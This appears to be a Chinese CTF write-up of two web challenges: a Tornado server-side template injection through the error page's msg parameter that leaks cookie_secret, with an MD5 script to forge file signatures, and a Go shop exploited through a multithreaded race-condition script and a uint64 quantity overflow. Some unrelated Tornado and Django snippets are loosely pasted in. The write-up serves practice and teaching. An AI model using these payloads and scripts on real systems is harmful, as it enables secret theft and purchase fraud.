这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag
题目关键为如何获取cookie,在Bp抓包的情况下没有显示cookie,由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg
http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF
该处将原有参数替换可以执行模板注入msg={{XXXXX}},需要注意,这里过滤了大多数奇怪的字符,并且跟以往的题目不同的是,这里不需要python的基类再寻找子函数,而是直接获取环境的变量。
该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape
class custom(UIModule):
def render(self, *args, **kwargs):
return escape.xhtml_escape('wupeiqi
')
#return escape.xhtml_escape('wupeiqi
')
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
'''
当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
'''
'''
我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form})
我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings["cookie"]) }}
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
而后使用在线的或者python的计算一下就可以
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def mdfive2():
filename = 'fllllllllllag'
aaa ="*c].)Y!x%+WgjHbvfM@[U"
print(md5value(filename))
# print(md5value('*c].)Y!x%+WgjHbvfM@[U'))
# print(''+md5value(filename))
print(md5value(aaa+md5value(filename)))
mdfive2()
该题目与上一次xman开营的题目感觉好像,上次是买彩票,向服务器传输七位数字,后台一位一位比对是否中奖,根据弱语言类型特征我们传递字典
这样后台比较时,true跟数字是相等的,即代表我们猜中了。但这次稍有不同,每个用户注册送20元,5元一个大辣条,5个大辣条买一个辣条之王,99999个辣条之王才可以换flag
题目中抓包,可以看到其中不同的地方
题目采用的是router的方式来传递信息,即使用router管理整个请求,通过不同的路径信息返回不同的响应,前面也记录过就不多说了。买什么辣条王和flag只是在POST中的路径提交的有所不同,没有所谓的POST信息,不过注意这个兑换的时候我们可以输入数目,这个是会被当做传递的信息的。
并且还有一个关键的地方,这个cookie的名字很奇怪,百度了一下,看到了这么一条
可能是这个东西吧.....go语言的一个框架,这个是有用的提示。
我们的钱只能买四包,但是由于不能像彩票那个题目一样伪造数据,那么只有使用条件竞争了,让服务器来不及反应的时候就给我们不应该给的辣条。
使用多线程,快速访问买大辣条的页面,
这是天枢的whriteup中的脚本,就是一个多线程访问而已
import multiprocessing
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
import re, os, json, requests, time
import traceback
def main():
url = 'http://117.78.26.155:31358/buylt'
cookie = '47c3b1ec-45d1-4b19-9bec-025a67e203b6'
headers = {'Cookie':'go_iris_cookie='+ cookie}
k = requests.post(url,headers=headers)
print k.content
if __name__ == '__main__':
results = []
pool = multiprocessing.Pool(processes=20)
for i in range(0xff):
results.append(pool.apply_async(main,))
pool.close()
pool.join()
我们使用Bp就可以达到目的
我们的目的不是通过竞争买到走够多的大辣条,这是不可能的,因为需要的实在是太多了。我们需要超过五个的大辣条,用来买辣条之王,还记得上文说过的go语言吗,这里存在uint64溢出,但是本身大辣条数目不够是不让点的,所以我们才要条件竞争。
Golang:专用int溢出(Golang: on-purpose int overflow) http://www.it1352.com/808569.html
溢出的原理是同栈溢出类似,我们一个数字类型的内存空间无法存储超过其大小的数字,超过之后就会导致数字变化,例如1无符号16位整数,最大可以表示0-2^16-1(65535),如果输入65536则变为0,65537则又变回1了,这是符号二进制数字的原理的,只是我们定义的数字类型不满足条件,显示不全。
该题目就是这样的一个问题,我们输入的是份数,后台肯定要查询数据库中我们的大辣条数目书否符合条件,即是否大于份数*5,才会给我们相应的辣条之王。我们的目的是数据库判断可以过,但是后台也得给我们足够的辣条之王,思路是使用整数溢出欺骗数据库,使得我们请求的数字在服务器看来就是1分辣条之王,而实际上是很多。
利用数据库查询时会*5倍,这时我们构造溢出,64位整数可以表达的上限是0xffff ffff ffff ffff,即2^64-1,超过就会又从0开始。
如果我们输入请求数目为2^64/5 到数据库中查询的数量就是2^64表示的是0啊,据说可能或存在问题,
如果我们请求(2^64/5+1)。那么到数据库中的数字是2^64+5,由于溢出也就表示5,我们的大辣条数是满足的啊!!,所以我们就可以得到(2^64/5+1)=3689348814741910324大辣条之王,可以换flag了。